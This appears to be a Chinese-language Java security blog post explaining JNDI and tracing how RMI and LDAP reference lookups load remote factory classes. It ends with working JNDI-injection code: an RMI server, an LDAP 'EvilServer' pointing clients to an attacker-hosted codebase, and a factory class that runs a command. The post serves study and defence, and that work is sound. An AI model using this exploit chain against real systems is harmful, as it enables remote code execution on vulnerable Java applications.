Java安全

JNDI

概述

Java Naming Directory Interface，Java命名和目录接口，是SUN公司提供的一种标准的Java命名系统接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有目录及服务包括：JDBC（Java 数据库连接）、LDAP（轻型目录访问协议）、RMI（远程方法调用）、DNS（域名服务）、NIS（网络信息服务）、CORBA（公共对象请求代理系统结构）

命名服务/目录服务

JNDI包括命名服务（Naming Service）和目录服务（Directory Service）。

  • 命名服务：一种通过名称来查找实际对象的服务。例如RMI中，Naming.lookup方法通过查找名称来获取远程对象的代理类

    相关概念：

    • Name：名称。要在命名系统中查找对象，需要提供对象的名称
    • Naming Convention：命名规范。一个命名系统中的所有名称必须遵循的语法规范。
    • Binding：绑定。一个名称和一个对象的关联
    • Reference：引用。一些命名服务系统不是直接存储对象，而是保存对象的引用。引用包含了如何访问实际对象的信息。
    • Address：地址。引用通常用一个或多个地址（通信端口）来表示
    • Context：上下文。一个上下文是一系列名称和对象的绑定的集合。一个上下文中的名称可以绑定到一个具有相同命名规范的上下文中，称之为子上下文(subcontext)。例如：在文件系统中，/usr是一个Context，/usr/bin是usr的subcontext。
    • Naming System：命名系统。一个相同类型的上下文集合
    • Namespace：命名空间。一个命名系统的所有名称的集合
    • Atomic Name：原子名。一个简单基本结构
    • Compound Name：混合名。由多个原子名一起构成的名称
    • Composite Name：复合名称。是跨越多个命名系统的名称

  • 目录服务：是命名服务的扩展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称之为目录对象，目录对象可以跟属性关联，一个目录是由相关联的目录对象组成的系统。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

    相关概念：

    • Attribute：属性。一个目录对象可以包含属性。一个属性具有一个属性标识符和一系列属性值
    • Search Filter：查找过滤器。通常还提供通过目录对象的属性来查找对象的操作。这种的查找一般通过规定的表达式来表示，称之为查找过滤器。

简单使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import javax.naming.Context;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JNDItest   {
    public static void main(String[] args) {
        //创建环境变量

        Hashtable env = new Hashtable();
        //设置JNDI初始化工厂类名
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
        //设置jndi提供服务的uri
        env.put(Context.PROVIDER_URL,"dns://223.6.6.6/");

        try{
            //创建jndi目录服务对象
            DirContext context = new InitialDirContext(env);

            Object obj = context.getAttributes("www.baidu.com",new String[] {"A"});

            System.out.println(obj);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}

image-20260331102746852

代码分析

核心API

javax.naming.InitialContext

javax.naming.directory.InitialDirContext

用于初始化上下文环境

image-20260331103011683

需要传入一个Hashtable

1
2
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL,"dns://223.6.6.6/");

环境设置需要上下文工厂与URL

image-20260331103232328

将环境传入InitialDirContext中 完成上下文初始化

目录服务可以获取到属性名

image-20260331102746852

输出了dns解析结果

InitialDirContext继承于InitialContex

设置环境信息不是必须的

也可以直接这样写 会自动的协议转换

1
2
Context init = new InitialContext();
RMIInterface a = init.lookup("rmi://127.0.0.1:1234/demo");

这样就可以直接获取到rmi的远程对象

image-20260331103921484

JNDI支持这些协议 主要使用 RMI与LDAP

JNDI定义了命名引用，简称引用。其大致过程是通过绑定一个引用，将引用对象存储到命名/目录服务中，命名管理器（Naming Manager）可以将引用解析为关联的原始对象。

引用由Reference类来表示，每个Reference包含如何构造对应的对象的信息，包括引用对象的全限定类名，服务地址，以及用于创建对象的工厂类的名称和位置

image-20260331105927701

主要利用这个构造器

image-20260331105941144

className:类名 如果本地找不到会去根据factoryLocation提供的URL去下载对应的.class文件 并自动加载

factory:工厂类的名字 一般我们提供的类已经引用了这个工厂类

factoryLocation:工厂类的URL 可以是file://、ftp://、http://等协议

初始化

跟进一手这个无参初始化

image-20260331110338216

image-20260331111652383

进入到init

image-20260331111734302

进入到getInitialEnvironment

image-20260331111841336

image-20260331112109044

函数内部就是获取环境变量信息 但是因为我们没有填入所以都是null

image-20260331112425978

image-20260331112219092

最终就返回了initialContext对象 无参构造器主要通过后面的lookup去动态配置环境信息

查找对象

重点关注这个lookup

image-20260331113713213

image-20260331113724238

进入getURLOrDefaultInitCtx

image-20260331113755577

进入到hasInitialContextFactoryBuilder

image-20260331114008364

由于没有初始化上下文工厂所以为null

最后返回的是False

跳过了第一个if判断

image-20260331114059181

进入getURLScheme函数

image-20260331142359545

image-20260331142447326

返回协议类型

进入到NamingManager.getURLContext

image-20260331142515335

根据刚刚的协议返回rmiurlcontext

image-20260331142700667

回到lookup 进入getRootURLContext

image-20260331142848700

进入到RegistryContext

image-20260331143051370

进入getRegistry

image-20260331143236108

会去查找rmi的注册中心并返回

image-20260331143304193

后面通过createproxy创建一个registImpl_stub返回回去 和rmi查找注册中心一样

image-20260331143417720

image-20260331143635105

配置注册中心上下文

image-20260331143711958

注册中心上下文搞好了 开始进入ResolveResult

var15是注册中心上下文 var13是远程对象的名字

image-20260331143817955

进入构造器 跟进setRemainingName

image-20260331143902052

这里将远程对象的名字赋给 remainingName

image-20260331144015770

回到lookup 进入getResolvedObj

image-20260331144051292

就是把刚刚的注册中心上下文赋给它

进入注册中心上下文的lookup

image-20260331144111965

image-20260331144211211

开始调用registryImpl_stub的lookup和rmi的一样

后续也是new一个RemoteCall 然后开始请求

最终也是收到一个动态代理对象

image-20260331144545356

Reference对象的利用

由于JNDI引入了Reference对象 我们可以利用这个让lookup对象的那一端自动的下载并加载类

但是RMI中并没有Reference对象 需要使用ReferenceWrapper包装器 将一个Reference对象包装一下可以绑定在注册中心上

看看ReferenceWrapper类

image-20260331145247912

image-20260331145314118

ReferenceWrapper类继承自RemoteReference接口 -> RemoteReference接口又继承了Remote接口

通过ReferenceWrapper包装的Reference对象自然也就继承Remote接口 此时就可以绑定在注册中心上

跟进一手lookup

image-20260402113004812

我们先跳过前面部分

直接到RegistryContext的lookup中看看

var2会获得RegistryImpl_stub.lookup()查找的对象

这里就是我们设置的ReferenceWrapper_Stub对象

image-20260402112555460

之后就要开始通过这个 ReferenceWrapper_Stub -> Reference -> 恶意对象

跟进decodeObject()

image-20260402113102563

检测是否是RemoteReference

如果是就会获取其中的Reference对象

image-20260402113146244

这里会调用super.ref.invok 猜测就是根据Reference对象中包装好的工厂类地址去下载这个工厂类对象

image-20260402113629691

到了这里 var11已经就是Reference对象了

跟进unmarshalValue

image-20260402113836164

通过readObject 可以得到最终的Reference对象中的信息

image-20260402113926578

回到decodeObject

image-20260402114018032

注意一下NamingManager.getObjectInstance

image-20260402114229466

上面会有一些列的检测 到了这里就开始获取工厂类了

跟进getObjectFactoryFromReference()

image-20260402114458897

通过刚刚获得的工厂类名 开始加载工厂类了

image-20260402114905401

最终clas返回null

是因为这里的loadclass 是尝试加载本地的类 而且codebase也没填入 显然本地是没有的 所以得通过其他的类加载器去加载

通过调用ref.getFactoryClassLocation() 获取我们设置的工厂类的url

image-20260402115041612

image-20260402115256083

跟进一下下面的loadClass

image-20260402115456823

这里的构造器 就是直接使用URLClassLoader类加载器

获取URLClassLoader实例 也把刚刚的codebase塞进去了

最后来到这个本地forName0

image-20260402115613648

调用完之后就成功下载并加载我们的恶意类了

image-20260402115736649

栈帧中可以看到加载的Calc 与 http请求的响应信息

之后就是成功触发

也关注一下http服务的情况

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Naming;

public class JNDIclient {

    public static void main(String[] args) {
        try{
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            Context context = new InitialContext();

            Object a = context.lookup("rmi://10.68.0.136:1234/demo");

        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) {
        final String  RmiHost = "10.68.0.136";
        final int  RmiPort = 1234;
        final String RmiUrl = "rmi://" + RmiHost + ":" + RmiPort + "/demo";
        try{
            Registry r = LocateRegistry.createRegistry(RmiPort);

            String classname = "eval";
            String factory = "eval";
            String url = "http://10.68.0.136:8000/";

            Reference reference = new Reference(classname,factory,url);

            ReferenceWrapper wrapper = new ReferenceWrapper(reference);

            //RmiInterfaceImpl rmiInterfaceimpl = new RmiInterfaceImpl();

            Naming.bind(RmiUrl,wrapper);

            System.out.println("RMI服务正在启动");

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class eval implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
            throws Exception{
        return Runtime.getRuntime().exec("calc");
    }

}

LADP + JNDI

LDAP也支持Reference

引用这位师傅的代码

JNDI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package jndi.ldapAttack;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class EvilServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#NIVIA"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "nivia");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDI_RMI_Reference限制

在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。

com.sun.jndi.cosnaming.object.trustURLCodebase 默认值变为false，即默认不允许通过RMI从远程的Codebase加载工厂类

JNDI_LDAP_Reference限制

在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false，即默认不允许通过LDAP从远程的Codebase加载工厂类

说些什么吧！

gitalk